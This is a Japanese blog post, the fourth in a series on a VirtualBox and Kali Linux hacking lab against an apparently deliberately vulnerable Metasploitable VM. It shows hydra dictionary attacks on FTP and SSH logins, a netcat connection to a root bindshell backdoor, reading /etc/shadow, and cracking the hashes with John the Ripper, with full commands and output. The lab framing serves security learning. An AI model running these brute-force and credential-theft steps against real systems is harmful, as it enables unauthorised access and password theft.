開発日報

窓際エンジニアの開発備忘。日報は嘘です。

【連載】VirtualBox + Kali Linuxによるハッキング実験室 第4回 ~ 辞書・総当たりでパスワード解析を行う ~

はじめに

この連載ではVirtualBox + Kali Linuxを用いたハッキング実験を行います。今回は第4回です。
前回はvsftpdの脆弱性を突いてターゲット端末への侵入を試みました。
今回は辞書式攻撃の実験を行います。

連載記事一覧

ユーザーリストとパスワードリストを用意する

root@kali:~# cat > user.lst
root
sys
msfadmin
admin
user
service
postgres
tomcat
^C  
root@kali:~# cat > pass.lst
user
password
12345678
msfadmin
root
guest
batman
asdfasdf
tomcat
  ←空行を入力。
^C

辞書式攻撃でFTPアカウントを解析する

hydraのLオプションでユーザーリスト、Pオプションでパスワードリストを指定します。tオプションでターゲットに対する並列処理のタスク数を指定します(デフォルトで16)。

root@kali:~# hydra -L user.lst -P pass.lst -t 8 192.168.56.3 ftp
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-10-05 19:18:07
[DATA] max 8 tasks per 1 server, overall 8 tasks, 80 login tries (l:8/p:10), ~10 tries per task
[DATA] attacking ftp://192.168.56.3:21/
[21][ftp] host: 192.168.56.3   login: msfadmin   password: msfadmin
[21][ftp] host: 192.168.56.3   login: user   password: user
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-10-05 19:18:34

結果として以下の2つのユーザーパスワードの組み合わせでログインできることがわかります。

  • login: msfadmin password: msfadmin
  • login: user password: user

辞書式攻撃でSSHアカウントを解析する

SSHのアカウントを辞書式攻撃で解析してみます。最後のサービスプロトコルの箇所をsshにします。また、SSHは並列処理のタスク数が大きいと警告が出るので、4に減らしています。

root@kali:~# hydra -L user.lst -P pass.lst -t 4 192.168.56.3 ssh
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-10-05 19:23:37
[DATA] max 4 tasks per 1 server, overall 4 tasks, 80 login tries (l:8/p:10), ~20 tries per task
[DATA] attacking ssh://192.168.56.3:22/
[22][ssh] host: 192.168.56.3   login: sys   password: batman
[22][ssh] host: 192.168.56.3   login: msfadmin   password: msfadmin
[22][ssh] host: 192.168.56.3   login: user   password: user
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-10-05 19:24:07

結果として以下の3つのユーザーパスワードの組み合わせでSSHログインできることがわかります。

  • login: sys password: batman
  • login: msfadmin password: msfadmin
  • login: user password: user

TCPバックドアを利用

root@kali:~# nmap -sV -O -p- 192.168.56.3
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-05 20:05 EDT
(略)
1524/tcp  open  bindshell   Metasploitable root shell
(略)

ポート1524(TCP)の「Metasploitablerootshell」は怪しいといえます。名前から誰かにすでに侵入されており、バックドアルート権限のシェル)が設置されていると推測できます。nmapでサービス名を確認すると、ingreslockというサービス名になっています。

root@kali:~# nmap -p 1524 192.168.56.3
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-05 20:11 EDT
Nmap scan report for 192.168.56.3
Host is up (0.00048s latency).

PORT     STATE SERVICE
1524/tcp open  ingreslock
MAC Address: 08:00:27:FE:8C:BF (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.22 seconds

Netcatで接続してみると、rootのプロンプトが返ってきました。idコマンドやunameコマンドを実行見るとわかりますが、どうやらroot権限のシェルのようです。

root@kali:~# nc 192.168.56.3 1524
root@metasploitable:/# whoami
root

"/etc/shadow"ファイルのうち、rootとmsfadminユーザーの行だけを抽出します。

root@metasploitable:/# cat /etc/shadow | grep -E "^root|^msfadmin"
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::

抽出結果の2行をコピペしてKali側に"passwords"ファイルを作ります

そのあと、JohntheRipperを使ってパスワードを解析します。通常は先に辞書ファイルを使って解析しますが、ここでは総当たり攻撃で解析してみます。

root@kali:~# john --incremental passwords

[Space]キーを押すと途中経過を表示します。右に現在試しているパスワード候補が表示されます。[Ctrl]+[c]キーで中断できます。再実行すると解析の途中から始まります。再実行する際はrestoreオプションを指定します。

まとめ・次回

今回は辞書・総当たり形式で様々な形式のパスワード解析を行いました。 次回はwiresharkを使用してhttp解析を行いターゲット端末のtomcatへの侵入を試みます。